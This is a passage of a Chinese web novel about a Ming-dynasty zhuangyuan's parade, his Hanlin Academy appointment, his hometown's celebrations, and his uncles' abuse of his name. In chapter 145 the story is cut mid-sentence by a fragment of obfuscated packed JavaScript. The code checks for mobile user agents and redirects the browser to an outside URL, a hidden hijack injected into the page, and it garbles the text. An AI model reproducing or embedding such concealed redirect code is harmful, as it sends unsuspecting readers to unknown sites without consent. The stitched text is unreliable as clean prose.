目光缓缓扫过街道两侧那一片片黑压压的人群、
一张张激动兴奋的面孔。
这就是大明王朝的都城,
这就是“朝为田舍郎,暮登天子堂”后的极致风光吗?
纵然灵魂来自现代,
见识过信息**时代更宏大的场面,
此刻亲身体验这源自千年传统的、
纯粹而热烈的崇拜,
依旧让他心潮澎湃。
这是一种被整个社会价值体系所承认
并推到顶峰的巨大满足感。
队伍在御前侍卫的开道下缓缓前行。
礼部的官员在前引路,
鸿胪寺的赞礼官高声唱着吉祥话。
抛洒下来的香囊偶尔会砸中帽檐或肩膀,留下淡淡的馨香。
苏惟瑾始终从容,微微颔首致意,
既不显得轻佻,
又充分展现了新科状元应有的喜悦与亲和。
“玉衡兄,今日之后,天下何人不识君啊。”
身后的徐阶驱马稍稍靠近,
笑着低语了一句,
语气中带着真诚的感慨和一丝不易察觉的羡慕。
即便沉稳如他,
身处这万丈荣光之中,
也难以完全平静。
苏惟瑾侧首微笑,声音清朗:
“子升兄(徐阶字),慎行兄(林文霈字),
你我三人同列鼎甲,今日风光,
乃圣恩浩荡,亦是我等共荣。”
他巧妙地将荣耀分享,
既显谦逊,又顾全了同榜之情。
林文霈闻言,
原本因屈居探花而略有的一丝芥蒂也消散不少,笑道:
“玉衡兄说的是,我等寒窗苦读,
今日方得琼林宴罢,御街夸官,
实乃人生至乐。”
队伍行至正阳门外大街,
气氛更加热烈。
这里是京城最繁华的商业街区,
酒楼林立,商铺栉比。
各家掌柜早就备好了厚厚的喜钱,
见队伍过来,便让伙计们奋力向外抛洒,
引得人群一阵阵哄抢,既是讨彩头,
也是给自己店铺扬名。
“状元公!看这里!小人是同乡啊!”
忽然,路边人群中传来一声带着浓重淮安口音的激动呼喊。
苏惟瑾循声望去,
只见几个穿着绸布衣裳、
像是商贾模样的人正激动地跳着脚挥手,
脸色涨得通红。
超频大脑瞬间检索记忆
——似乎是沭阳籍的几个小行商,
以前在县城似乎见过一两面。
他心中微动,家乡人士在此刻出现,
别有一番意味。
他特意朝着那个方向,
拱手微微欠身,行了一个平辈礼。
这一举动,顿时让那几位商贾激动得几乎落泪,
周围人群也爆发出更大的欢呼:
“状元公重乡谊!好!”、
“瞧瞧!这才是读书人的气度!”
就在这极致的喧闹与风光中,
苏惟瑾的超频大脑却依然保持着一种奇特的冷静,
俨然似一个高速运转的隐蔽处理器。
他注意到人群中一些特别的目光:
有酒楼窗口后那些衣着华贵、
气度不凡的官员或勋贵,
他们的眼神带着审视、评估,
或许在衡量这位新晋状元的价值;
也有某些角落里,一些读书人打扮的士子,
目光复杂,交织着羡慕、嫉妒乃至一丝不服;
他甚至能隐约感觉到某些隐藏得更深的、或许带着恶意的注视。
他也看到了道路两旁那些维持秩序的京营兵丁和顺天府的衙役们,
他们努力地阻挡着汹涌的人潮,
额头上满是汗水
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眼中却也同样带着对这千年一遇“**”状元的好奇与敬佩。
目光扫过街边一家气派非凡的酒楼“荟英楼”的二层窗口,
那里似乎**着一群身份更高的人物。
超频大脑瞬间捕捉到几个细节:
一个面白无须、身着**袍的中年人(可能是宫内大珰),
一位身着侯爵常服、不怒自威的老者(或是勋贵代表),
还有几位绯袍玉带的文官……
他们并未像其他人那样激动,
只是静静地看着,低声交谈着什么。
苏惟瑾心中了然,这跨马游街,
夸示的不仅是荣耀,
更是一块投入京城这潭深水中的巨石,
必将激起层层涟漪,
引动各方势力的关注。
今日之后,他就不再只是一个单纯的读书人,
而是正式踏入了大明王朝波谲云诡的**舞台。
想到此,他脸上的笑容愈发沉稳,目光也更加深邃。
队伍继续前行,经过国子监、孔庙。
在这里,苏惟瑾收敛笑容,
神色肃穆地在马背上向至圣先师的方向微微躬身致意。
这个细节又被许多有心人看在眼里,暗暗点头:
得意而不忘本,少年老成,确有大器之姿。
阳光逐渐升高,将御街照得一片亮堂。
少年状元的身影在红袍金花的映衬下,
仿佛自身也在发光。
鲜花与香囊依旧不断抛来,
欢呼声一浪高过一浪。
不知是哪家胆大的小姐,
竟将一支并蒂莲花的金簪精准地抛入了苏惟瑾的怀中。
人群先是一静,随即爆发出更大的哄笑和叫好声。
苏惟瑾微微一怔,低头看着怀中那枚做工精巧、
寓意明显的金簪,摇头失笑,
然后坦然将其轻轻放在马鞍前的褡裢上,
并未有丝毫窘迫,反而更添几分风流洒脱。
这一幕,又不知惹来了多少闺阁少女的遐思和尖叫。
超频大脑默默记录着这一切:
人情冷暖,世态百相,声望如潮,亦能覆舟。
他享受着这极致的光荣,内心却清醒无比。
这御街夸官的万丈荣光,
既是对过去寒窗苦读、
连破六关的犒赏,也是未来漫长征途的起点。
马蹄踏在青石板上,发出清脆的声响,
合着震天的欢呼与乐声,
仿佛在为他奏响一首名为“崛起”的序曲。
苏惟瑾深吸一口气,挺直了脊背,
目光越过沸腾的人群,
望向更远处巍峨的宫阙和湛蓝的天空。
他的征途,是星辰大海。
而这,仅仅是一个无比辉煌的开端。
第143章 翰林院修撰
跨马游街的喧嚣与荣光渐渐散去,
红袍金花收归箱底。
随着朝廷授官旨意下达,
新科进士们的去向也逐一明朗,
苏惟瑾的生活重心,
从万众瞩目的状元郎,
迅速切换至一名新晋的翰林院官员。
状元苏惟瑾,授翰林院修撰,秩从六品。
榜眼徐阶、探花林文霈,依例同授翰林院编修,秩正七品。
这“一甲三人”直接进入储才之地的翰林院,羡煞旁人。
二甲前列的姚涞、屠大山等人,
亦通过馆选,与另外数名佼佼者同被选为庶吉士,
入翰林院庶常馆学习,
三年后散馆考核优异者,
方能留任翰林,
次者则授科道或部属官,前途同样光明。
而更多位列二甲、三甲的进士,
则大多授了各部主事、中书舍人,
或是外放州府推官、知县等职,
虽起点不及翰林清贵,
却也是正经的仕途开端,
各自奔赴前程去了。
消息传出,无人对苏惟瑾的任职感到意外,
唯有更深的艳羡。
翰林院,乃大明“储相”之地,
天下文人士子心目中的清华之所。
修撰虽仅为从六品,
地位却清贵无比,
非一甲进士及第者不得授此职。
于此观政读书,熟悉朝章典故,
撰写诰敕史书,时常能接近皇帝,
参与机要,乃是通往内阁极品的黄金阶梯。
不知多少部院大臣、封疆大吏,
回首望去,起点皆在这玉堂署(翰林院别称)中。
这一日,天朗气清。
苏惟瑾换上一身素雅的青色官袍(注:六七品官服为青色),
并未乘坐那日游街时惹眼的高头大马,
只带了小奇,步行前往位于长安左门以东、毗邻紫禁城的翰林院。
翰林院门庭不如六部衙门那般车马喧阗,
却自有一股肃穆清幽之气。
黑漆大门并不特别宏伟,
门楣上悬挂的“翰林院”匾额却是极有来历,
据说是某位太祖朝大学士的手笔,
字迹古朴厚重。
门前古槐森森,石狮静默,
只有偶尔进出的一两位同样身着青、
绿官袍的翰林官,步履从容,
神态间带着读书人特有的矜持与文雅。
递上告身文书,门吏验看后,
立刻变得无比恭敬:
“原来是苏修撰!
掌院学士已有吩咐,您里面请!”
踏入院内,更是别有洞天。
但见庭院深深,廊庑回环,
古木参天,环境极为幽静。
空气中弥漫着淡淡的书香和墨香,
以及一种陈年纸张特有的味道。
偶尔从两侧的编修厅、
修撰厅中传出低低的讨论声或翻动书页的沙沙声,
更衬得此地静谧非常。
超频大脑悄然运转,
将所见的一切细节
——建筑布局、人员走动规律、
甚至廊下悬挂的匾额对联
——尽数记录分析,
快速构建着对此地的认知模型。
他被引至正堂拜见翰林院掌院学士。
此时的掌院学士乃是一位年近花甲、
学问渊博的老臣,态度还算温和,
照例勉励了一番“清贵之地,
当勤勉修学,以备顾问”等语。
苏惟瑾恭敬应答,态度谦逊,
给上司留下了不错的初步印象。
随后,由一位姓孔的侍读学士领着,
熟悉翰林院诸般事务。
孔侍读年纪稍长,面色略显苍白,
带着些书卷气的疲惫,
但言语清晰,颇为耐心。
“玉衡老弟,
这边是皇史宬(chéng)副本库,
凡纂修实录、宝训,
皆需来此查阅资料…”
“那边是诰敕房,
起草制、诰、诏、令等,
皆出于此,最是考较功底…”
“修撰厅在那厢,
平日若无特派职司,
多在厅中读书、编校…
哦,那边是史馆,
正在纂修《武宗实录》,
甚是繁忙…”
孔侍读一一指点介绍,
苏惟瑾凝神静听,
超频大脑同步记录、分类、归档。
他很快便对翰林院的职能分工有了清晰的了解:
撰拟公文、纂修史书、值宿备询、
教授内书堂小太监识字(由资深翰林负责),
以及作为皇帝的文化顾问。
“修撰之职,初入翰林,
多以读书观政、协助编修为主。”
孔侍读提点道:
“偶尔也会分派些起草寻常诰敕的差事。
玉衡老弟才名动天下,
想必不久便能担重任。”
言语间,也提及徐阶、林文霈两位编修,
以及姚涞等新科庶吉士,
也已报到,正在各自熟悉职司。
苏惟瑾忙谦逊道:
“孔前辈过誉了。
惟瑾初来乍到,诸事不通,
还需前辈们多多指点提携。
徐年兄、林年兄皆饱学之士,
姚年兄等亦才俊不凡,
日后还望前辈与诸位年兄同道不吝赐教。”
态度放得极低,
并将新同僚一并带入,
显得周到得体。
孔侍读见他年纪虽轻,
却毫无状元骄矜之气,
心下也多了几分好感,笑道:
“好说好说。
翰林院虽是清贵之地,
却也讲究论资排辈,规矩不少。
老弟慢慢便知。”
正说着,迎面遇上几位翰林官。
有同为修撰的,
有品级更高的编修、检讨,
也碰巧见到了正与一位老翰林交谈的徐阶,
双方点头致意。
众人见到苏惟瑾,神色各异。
有好奇打量者,有面露欣赏者,
亦有目光中带着审视乃至一丝不易察觉嫉妒者。
毕竟,这位十七岁的状元郎,风头实在太盛了。<
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br>苏惟瑾皆一一主动见礼,
口称“前辈”、“年兄”,礼仪周到,
让人挑不出错处。
他被引至修撰厅分配了一个靠窗的座位。
厅内已有数人,见他进来,
纷纷起身见礼。
苏惟瑾再次恭敬回礼,态度诚恳。
寒暄几句后,他便安静地坐下,
开始翻阅桌上堆放的一些过往文书范例和《翰林院条例》,
迅速进入学习状态。
超频大脑高效运转,
那些繁琐的规章、公文格式、史书体例,
被他以惊人的速度理解、记忆、消化。
旁人需数月才能熟悉的事务,
他或许只需数日。
下午,孔侍读果然拿来一份简单的诰敕草拟任务,
是为一外放知州的母亲申请旌表节妇的敕书,
格式固定,用语套话居多,
算是给新人的练手活儿。
苏惟瑾并未因简单而怠慢。
他仔细查阅了类似范文,
确保格式无一错漏,
用语精准典雅,
甚至还在某些颂扬节妇品德的套话中,
巧妙地化用了两句不太显眼却格外贴切的古诗,
使得整篇敕书在规范之余,平添了一分文采。
孔侍读检查时,初时只是随意浏览,
看到那两处用典,眼神微微一亮,
仔细看了苏惟瑾一眼,点头道:
“嗯,不错。
规矩方圆,文采暗蕴。
苏修撰果然名不虚传。”
心中那点因他年轻而起的些许轻视,
顿时消散大半。
苏惟瑾躬身道:
“前辈谬赞,愧不敢当。
惟瑾初学,只求无过。”
低调,谦逊,但出手不凡。
这便是苏惟瑾为自己设定的翰林院开局策略。
他知道,在这看似平静的清贵之地,
实则暗流涌动。
资历、派系、圣眷、才学…
无一不在暗中较量。
他这位空降的“**”状元,
无疑是打破了原有平衡的鲶鱼。
此刻越是光芒万丈,越需谨言慎行,徐徐图之。
而那些同科的新面孔,
既是未来的同僚,
也可能成为潜在的盟友或对手。
超频大脑的优势,不在于张扬,
而在于这种无声处的精准与高效。
当他用别人熟悉规则的时间来精通规则,
用别人完成一件任务的时间来完美完成三件任务时,
积累的优势将是压倒性的。
下班时辰到,苏惟瑾将桌面整理干净,
与同僚们礼貌道别,方才从容离去。
走出翰林院,夕阳给这座清贵的衙门镀上了一层金边。
苏惟瑾回头望了一眼那黑漆大门,目光沉静。
这里,将是他新征程的起点。
徐阶、林文霈、姚涞等人,
也将在各自的轨道上开始跋涉。
清贵之地,亦是风云际会之所。
他苏惟瑾的故事,才刚刚翻开仕途的第一页。
第144章捷报南传,沭阳沸腾
北京城皇极殿传胪唱名的余音尚未散尽,
一匹背插赤旗的快马已冲出永定门,
踏着初春的冻土,
风驰电掣般沿官道向南疾驰。
马上驿卒腰牌叮当,
却掩不住那八百里加急公文匣内,
一份足以震动整个淮安府的捷报。
与此同时,另一条经由运河漕船、
商队口耳相传的“小道消息”,
却以更诡异的速度,
先一步钻进了沭阳县的城墙缝。
“听说了吗?北京城…出大事了!”
茶博士给客人斟茶时,手都在抖。
“能出啥事?莫非又是哪位阁老…”
“不是阁老!是状元!新科状元!你们猜是谁?”
几颗脑袋立刻凑到一起,
当那个名字被压低声音说出来时,
满桌茶客愕然片刻,
随即爆发出难以置信的哄笑。
“胡扯!苏小九?
那个给张诚当书童的苏小九?
中状元?你昨日喝的是假酒吧!”
“千真万确!
我三舅姥爷的连襟的侄子在通州码头当差,
亲眼见报喜的官差过去的!
连中六元!**!”
茶肆先是一静,随即炸开了锅。
信的有,不信的更多,
整个沭阳县城如同滚油里滴入了冷水,
噼里啪啦,全是各种猜测、反驳、惊疑的声响。
这种躁动不安的猜测,在第三日清晨,被彻底点燃。
“哒哒哒——哒哒哒——”
急促如爆豆的马蹄声自北门而入,
一名风尘仆仆、
却精神抖擞的旗牌官高擎一封粘着孔雀翎的公文,
纵马长街,直扑县衙而去,
边跑边用尽丹田之气嘶声高喊:
“捷报——
南直隶淮安府沭阳县老爷苏讳惟瑾高中嘉靖二年癸未科一甲第一名进士状元及第
——金銮殿钦点翰林院修撰——”
“捷报——苏讳惟瑾老爷连中六元——魁星高照——三元及第——”
嘶哑却极具穿透力的吼声,
强似旱地惊雷,
瞬间劈开了沭阳清晨的薄雾,
也劈傻了所有早起赶集、出工、遛弯的百姓。
街面骤然一静。
挑着菜担的老农张大了嘴,
扁担滑落肩头,青菜萝卜滚了一地。
早点铺的掌柜举着油条,忘了翻面,直到焦糊味窜起。
一个正训斥伙计的布店老板,
嘴巴还保持着呵斥的圆形,
却发不出半点声音。
下一秒,地动山摇般的喧哗猛地爆发出来!
“真的!是真的!
苏惟瑾!真的是他!状元!”
“老天爷!连中六元!
咱们沭阳…出文曲星了!!”
“快!快去西街!去苏家老宅!”
人群如同决堤的洪水,
轰然涌向西街。
眨眼间,那条平日冷清、
苏家老宅所在的破败小巷,被挤得水泄不通。
县衙大门洞开,
县令**竟亲自小跑着出来,
官帽都有些歪斜,
脸上是抑制不住的狂喜与激动。
他身后跟着的县丞、主簿等一众属官,
个个面色潮红,如同自己中了状元一般。
“快!备轿!不!备马!
本官要亲自去苏家道贺!
快令三班衙役前去维持秩序!
再令户房立刻准备旌表文书、赏银!
礼房!速去筹办庆典!”
**声音都在发颤。
治下出了个千古罕见的**状元,
这是何等惊人的政绩!
足以让他的名字跟着苏惟瑾一起,
写进府志、省志,甚至青史!
西街苏家那扇七叔公咬牙新换的、却依旧显着寒酸的木门,
此刻俨然成了天下最炙手可热的存在。
“嘭——噼里啪啦——”
不知是谁最先反应过来,
点燃了早就备好(或许原本是为别的喜事备的)的鞭炮。
刹那间,全城的鞭炮铺都遭了殃,
锣鼓家伙也被翻了出来,
整个沭阳城陷入了前所未有的疯狂喧嚣之中。
红纸屑漫天飞舞,很快在地上积了寸许厚。
七叔公苏正廉是被人从族学里搀出来的。
……他猛地推开想要搀扶他的人,
对着北方京城的方向,
推金山倒玉柱般跪了下去,
用尽平生力气。
“咚咚咚”磕了三个响头,
抬起已是泪涕纵横的脸,嘶声哭笑道:
“列祖列宗在上!
苏氏门楣…光耀了!
光耀了啊——!
小九…惟瑾…
我苏家麒麟儿啊——!”
哭罢,他猛地起身,虽老态龙钟,
此刻却犹如一头雄狮,
对着闻讯赶来的苏家族人吼道:
“开祠堂!开中门!
将所有香烛都点上!
将所有库房里的粮食都搬出来!
摆流水席!连摆三天!
不!摆七天!宴请全县父老!
让所有人都沾沾咱苏家状元的文气福气!”
就在这震天的喧嚣中,
一个纤细的身影悄悄退到了人群之后,
回到了那间如今已无人敢让她再住杂物房、
而是精心布置过的小小闺房。
苏婉背靠着关上的房门,
仿似要将外面那山呼海啸般的声浪隔绝开来。
她瘦小的肩膀剧烈地颤抖着,
却不是害怕,而是极致的、
几乎承载不住的喜悦与激动。
她没有像七叔公那样放声痛哭,
也没有像族人那样奔走相告,
只是紧紧捂着自己的嘴,
大颗大颗滚烫的泪珠无声地滑落,
很快便浸湿了前襟。
哥哥…哥哥真的做到了!
他不仅是举人,是解元,如今更是状元!
是天下读书人中最顶尖的那一个!
那个曾在张家后巷备受欺凌的书童,
那个曾与她相依为命、
约定要接她离开的兄长,
如今已站在了她想象不到的云端。
她走到窗边的小几前,
上面供奉着父母早已模糊的牌位。
她点燃三炷细香,小心翼翼地插好,
然后缓缓跪下,
用只有自己能听到的声音轻轻禀告:
“爹,娘,你们听到了吗?
哥哥他…中了状元了。
他没有辜负你们的期望,
他为我们家,争来了最大的荣光…
女儿…女儿真的好高兴…”
说到最后,语声哽咽,再次泣不成声。
那泪水里,有对兄长的无限骄傲,
有对父母早逝的深切怀念,
更有一种长久以来压在心底的、
为哥哥悬着的石头终于落地的释然与狂喜。
她知道,从今往后,再无人可轻慢她的哥哥,
也再无人敢欺辱她苏婉。
哥哥用他的才华和努力,
为他们兄妹二人,
撑起了一片最广阔、最坚实的天空。
命令一下,整个苏氏宗族刹那间化身最精密的机器般轰然运转起来。……
平日里算计几文钱、几升米的族老们,
此刻无比大方,纷纷掏出私房钱,
指挥着族人杀猪宰羊,搬桌抬凳。
破败的苏家老宅转眼成了欢乐的海洋,
门槛几乎被道贺的人踏平。
人群中,最兴奋、最活跃的莫过于苏有才、苏有德两兄弟。
这二人今日特意穿上了压箱底、
平日舍不得穿的最体面的绸布衣裳,
头发抹得油光水滑,
脸上堆满了夸张的、
与有荣焉的笑容,
在人群里钻来钻去,
逢人便作揖,声音比谁都响亮:
“同喜同喜!
哈哈哈!那是咱亲侄儿!
打小我就看出他不是池中之物!”
“哎呀呀,王员外您太客气了!
改日!改日一定让惟瑾侄儿亲自登门拜谢!”
他们似乎完全忘了当初是如何为了几两银子将亲侄儿推入火坑,
此刻俨然以状元至亲长辈自居,
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享受着周围人投来的羡慕甚至巴结的目光。
只是那眼底深处闪烁的,
却是更加活络的算计光芒
——状元侄儿手指缝里漏一点,
都够他们享用不尽了!
得赶紧想法子修补关系,捞足好处!
而当一些心思活络的族人或是前来道贺的外人,
试图寻那位状元公唯一的亲妹妹、
如今身份已是水涨船高的苏婉小姐套近乎、
送上精心准备的礼物时,
却发现那扇闺房门扉轻掩。
透过门缝,只能看到少女安静跪在父母牌位前的纤细背影,
以及那微微耸动的肩膀。
众人不禁肃然,纷纷放轻了脚步,
不敢打扰这份沉静而深切的告慰与喜悦。
七叔公更是暗中吩咐下去,
严禁任何人前去搅扰婉儿,
又特意派了两个稳妥的婆子在远处守着,
既为保护,也为确保无人能惊扰这份属于他们兄妹二人、
与父母共享的荣光时刻。
族人们彼此交换着眼神,
心中对那位远在京师的状元公,
以及眼前这位沉静懂事的小姐,
更添了几分由衷的敬重。
与苏家的烈火烹油相比,
城东张家大宅,门庭冷落,朱门紧闭。
院内,张承宗听着外面隐约传来的喧天锣鼓和鞭炮声,
脸色铁青,手中的景德镇瓷杯被他捏得咯咯作响,
最终“啪”一声摔得粉碎。
“状元…翰林…”
他从牙缝里挤出这几个字,
胸口剧烈起伏。
那个他曾经随手就能捏死、
甚至逼得他儿子流放千里的书童,
竟然一跃成了他需要仰望的存在!
这巨大的反差,
像毒蛇一样啃噬着他的心。
无尽的悔恨和妒忌交织,
最终化为一声无力又愤懑的长叹,
整个人都佝偻了下去。
张家,彻底完了,
连最后一丝报复的可能都已荡然无存。
而孙府内,气氛同样压抑。
孙万年坐在太师椅上,闭目不语,
手中两颗盘得油亮的核桃早已停止了转动。
孙茂才垂手站在下首,低声道:
“父亲,果然…果然一飞冲天了。
这下,怕是知府大人、
乃至南京的六部堂官,
都要对他另眼相看了。”
孙万年缓缓睁开眼,
眼中满是复杂:
“一步登天,莫过如此。志远呢?”
“还在房里…不肯出来。”
“唉…时也,命也。”
孙万年长叹一声。
“备一份…更厚的礼吧。
不必遮掩了,此刻再遮掩,
反倒显得我孙家小家子气。
这份香火情,无论如何,得续上。”
沭阳城彻底疯了。
锣鼓声、鞭炮声、欢呼声、
宴席上的划拳行令声,
整整七日未曾停歇。
苏惟瑾的名字被无数次提起,
他的事迹越传越神,
从文曲星下凡到过目不忘,
甚至说他考试那晚考场上有紫气东来…
昔日无人问津的西街,
成了全县最热闹的所在。
每个人脸上都洋溢着与有荣焉的喜气,
仿佛苏状元的荣耀,照亮了整个沭阳的前程。
七叔公醉倒了好几次,
每次被灌醒,第一句话就是:
“快!再开一坛!
让父老乡亲们喝尽兴!
我苏家…出了真龙了!”
而在那极致的喧嚣与荣耀之下,
苏有才和苏有德两兄弟,
正端着酒杯,互相交换着一个心照不宣的眼神
——如何从这条已然腾飞的“真龙”身上,
薅下最多、最实的鳞片,
是他们接下来要苦心钻营的头等大事。
捷报传来的这个春天,
沭阳县的空气里,
弥漫着酒肉香、鞭炮的**味,
以及一种名为“一人得道”的、令人眩晕的狂热。
第145章小人得志,叔伯嘴脸
苏家那流水席一摆便是七天,
沭阳城西街日日如同过年。
可这泼天的富贵和荣耀,
终究是远在北京那位翰林修撰的,
留在沭阳老家的,
除了一座光耀门楣的牌坊和与有荣焉的谈资,
更多的,却是催生出了两条吸附其上的蠹虫
——苏有才与苏有德。
这七日,两人可谓出尽了“风头”。
他们俨然以状元公的“全权代表”自居,
穿着那身快被汗水浸出馊味的绸衫,
终日穿梭于席间。
见人便拱手,
开口必称“我那翰林侄儿”,
那副志得意满的嘴脸,
仿似中状元、入翰林的是他们自己。
有其父必有其子。
苏有才的儿子苏惟强、
苏有德的儿子苏惟壮,
这俩活宝也彻底抖了起来。
他们不再满足于在席间白吃白喝,
而是学着父辈的做派,
开始在沭阳街头招摇过市。
苏惟强不知从哪儿弄来一把折扇,
大冬天也拿在手里装模作样地摇晃,
见着稍有姿色的女子便挤眉弄眼,
口称“小生乃状元公堂哥”,
吓得人家姑娘掩面疾走。
苏惟壮则盯上了街面上的小摊小贩,
白拿瓜果点心不说,
还趾高气扬地宣称:
“知道我哥是谁吗?
北京城的翰林老爷!
吃你几个烂果子是给你脸面!”
摊贩们敢怒不敢言,
只能暗自咒骂。
两人甚至还跑到以前根本瞧不上他们的同窗家里,
翘着二郎腿,以“未来官身”自居,
对别人的学业指手画脚,夸夸其谈,
俨然那状元功名也有他们一份,
惹人厌烦至极。
“李员外!同喜同喜!
哎呀,我家惟瑾打小就聪明,
三岁能吟诗,五岁能作对,
我就知道必有今日!
往后在沭阳,
还得多仰仗您老帮衬啊!”
苏有才捻着并不存在的胡须,唾沫横飞。
“张掌柜!您这贺礼太厚了!
放心,您家那官司,包在我身上!
县衙刑房的书吏,
那都得给我苏家几分薄面!
回头我就给我侄儿修书一封,
保管给您办得妥妥帖帖!”
苏有德拍着胸脯,大包大揽,
分明苏惟瑾的状元名头就是他口袋里的私印,
可以随意盖取。
一些急于攀附新贵、
或是真有棘手事要求人的乡绅富户,
见不着正主,便真将这俩活宝当成了敲门砖。
酒席间,悄摸递上的红包、
塞过来的地契田契(求挂靠避税),
两人来者不拒,照单全收,
那鼓囊囊的腰包和愈发红润油光的脸,
便是他们“辛苦”的明证。
七叔公起初沉浸在狂喜中,并未察觉。
但几次见到这两人打着惟瑾的名号收受财物、口出狂言,
老人的眉头渐渐锁紧了。
他将二人叫到僻静处,沉着脸告诫:
“有才,有德!收敛些!
惟瑾的功名是清贵之身,
岂容你二人如此招摇?
那些钱财,退回去!”
苏有才眼皮一翻,阴阳怪气:
“七叔,您老这就迂腐了。
旁人一片好心贺喜,
我们岂能驳了面子?
这岂不是打惟瑾的脸?
再说,我们这也是在帮惟瑾打理人情往来,
京城花销大,将来打点座师、同僚,
哪处不需要银子?”
苏有德在一旁帮腔:
“就是!七叔,
惟瑾如今是天上的人物了,
哪还顾得上老家这些琐碎?
我们做叔伯的,自然要替他分忧。
您老就安心享福,这些俗务,
交给我们兄弟便是!”
一番歪理,噎得七叔公气血上涌,
却又不好在喜庆日子里彻底撕破脸,
只得跺脚警告:
“你二人若敢做出有损惟瑾清誉、
有辱苏家门风之事,
老夫定开祠堂,请族规!”
两人表面唯唯诺诺,
一转身,脸上便露出不以为然的神色。
“呸!老不死的,摆什么族长架子!”
苏有才啐了一口。
“如今苏家靠的是谁?
是我那状元侄儿!
我们是他亲叔伯,
替他收点孝敬,天经地义!”
“大哥说的是。”
苏有德小眼放光。
“七叔是越老越糊涂。
我看,这苏家,以后得咱们兄弟说了算!”
贪欲如同野草,
一旦有了适宜的土壤和雨露,
便开始疯狂滋长。
尝到了甜头的两人,
很快就不再满足于收些“贺礼”和“润笔费”。
他们的目光,投向了城中另一处已显败落的宅院——张家。
张家自张承宗父子倒台,
树倒猢狲散,大部分田产店铺已被罚没充公,
但还剩下一些浮财和城外几十亩薄田,
由几个老仆守着,等待官府最终发落。
这在苏有才兄弟眼中,简直是一块无人看管的肥肉。
这日,两人喝得醉醺醺,
领着一帮新近巴结上来的、
无所事事的帮闲,
晃到了张家紧闭的大门前。
“砰砰砰!”
苏有德用脚猛踹那朱漆剥落的大门,
声音嚣张:
“开门!开门!苏老爷来了!”
老门房颤巍巍打开一条门缝,
见是这两人,脸上露出惧色:
“两…两位苏老爷,有何贵干?”
“有何贵干?”
苏有才一把推开大门,
趾高气扬地闯了进去,
指着院内呵斥。
“这宅子,还有城外的地,
如今都归我们苏家了!
识相的,赶紧滚蛋!
里面的东西,一件不许动!”
老门房大惊失色:
“苏老爷,这…这可使不得!
这是张家的产业,官府还未…”
“放屁!”
苏有才打断他,喷着酒气。
“张家罪有应得!
他家害过我侄儿!
这些产业,合该赔给我苏家!
我侄儿是当朝状元,翰林院老爷!
他说这宅子归苏家,那就是归苏家!
官府?官府也得听翰林的!”
苏有德在一旁撸起袖子,
对身后的帮闲吼道:
“还愣着干什么?进去搜!
值钱的都搬出来!
抵偿我侄儿的精神损失!”
一群如狼似虎的帮闲顿时涌入张家本就凄清的院落,
翻箱倒柜,吓得几个老仆瑟瑟发抖,哭喊连连。
老门房跪地苦苦哀求:
“苏老爷,高抬贵手啊!
不能这样…不能啊…”
周围邻居闻声赶来,
见此情景,无不侧目,
脸上露出愤慨之色,
却慑于“状元公叔伯”的名头,敢怒不敢言。
这边动静闹得大,
很快把在附近闲逛的苏惟强、苏惟壮也引了过来。
这两人一看父辈在“办事”,
非但不劝阻,
反而觉得是显摆自家威风的好机会。
苏惟强双手抱胸,靠在张家门框上,
对着围观的百姓趾高气扬地宣布:
“都看清楚了!
这就是得罪我们苏家的下场!
我瑾哥儿如今是翰林老爷,
伸根小指头就能碾死他们!”
苏惟壮更是捡起地上的石子,
往张家院内扔,
嘴里不干不净地叫骂:
“张诚那龟孙子流放算是便宜他了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694212|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>还有他那死鬼老爹,
怎么不早点气死?
这宅子,早晚得改成我们苏家的马圈!”
两人嚣张跋扈的言行,
引得围观者阵阵哗然,
对苏家这门“亲戚”的观感,
更是跌落谷底。
“住手!”
一声苍老却愤怒的吼声从门口传来。
只见七叔公气得浑身发抖,
在几个正直族人的搀扶下赶来,
指着苏有才兄弟骂道:
“你们两个孽障!还不给我住手!
光天化日,强抢民宅,
你们是想让惟瑾被天下人唾骂吗?!”
苏有才见七叔公真动了怒,
且围观者众,心下先虚了三分,
但嘴上仍强硬:
“七叔,我们这是拿回本该属于惟瑾的赔偿!”
“赔偿?”
七叔公怒极反笑。
“官府自有律法!
何时轮到你们私设公堂,强取豪夺?
张家纵有千般不是,
也已受了国法制裁!
其剩余家产如何处置,
自有朝廷法度!
你二人今日之行径,与强盗何异?!
立刻带着这些人,给我滚出去!”
苏有德还想争辩,
被七叔公身后的几个健壮族人一瞪,
又见围观乡邻指指点点,目光不善,
顿时气短,只得悻悻地朝帮闲们挥挥手:
“行了行了,今天给七叔面子,先回去!”
七叔公目光如电,
又扫向门口还在叫嚣的苏惟强、苏惟壮,
厉声喝道:
“还有你们两个不成器的东西!
也跟着胡闹!
还不快滚回家去闭门思过!
再敢在外惹是生非,族规伺候!”
苏惟强、苏惟壮被吼得一哆嗦,
他们到底年轻,更怕七叔公的威严和族规,
赶紧缩着脖子,混在人群中溜走了。
两人灰溜溜地挤出人群,
身后传来七叔公的怒喝和乡邻们压抑不住的鄙夷议论。
“什么东西!
状元公怎么有这种叔伯…”
“上梁不正下梁歪,老子混蛋,
儿子也不是好货!”
“呸!丢尽了苏解元的脸!”
听着这些议论,
苏有才兄弟脸上青一阵白一阵,羞恼万分。
回到临时租住的小院
(他们自己的破屋早已嫌丢人不肯住了),
苏有德一脚踹翻凳子,骂道:
“老不死的!处处与我们作对!
还有那些穷鬼,竟敢议论我们!”
苏有才脸色阴沉,
小眼睛里闪烁着怨毒的光:
“哼,老东西无非是仗着辈分。
等惟瑾从京城回来,
见了我们这亲叔伯,
还能听他一个隔房老货的?
到时候,这沭阳,
还不是我们兄弟横着走?”
“对!等惟瑾回来!”
苏有德仿佛又找到了主心骨。
“到时候,看谁还敢给我们脸色看!
张家的产业,迟早得姓苏!”
两人做着日后仗势欺人、
作威作福的美梦,
却丝毫不知,他们今日这番丑态百出的表演,
早已通过各路渠道,
化作一封封或愤慨、或担忧、或别有目的的书信,
正沿着驿道和运河,飞速送往北京城。
远在翰林的苏惟瑾尚未知晓老家这两条蠹虫已开始蛀蚀他的根基,
但命运的丝线,
早已将这两副贪婪的嘴脸,
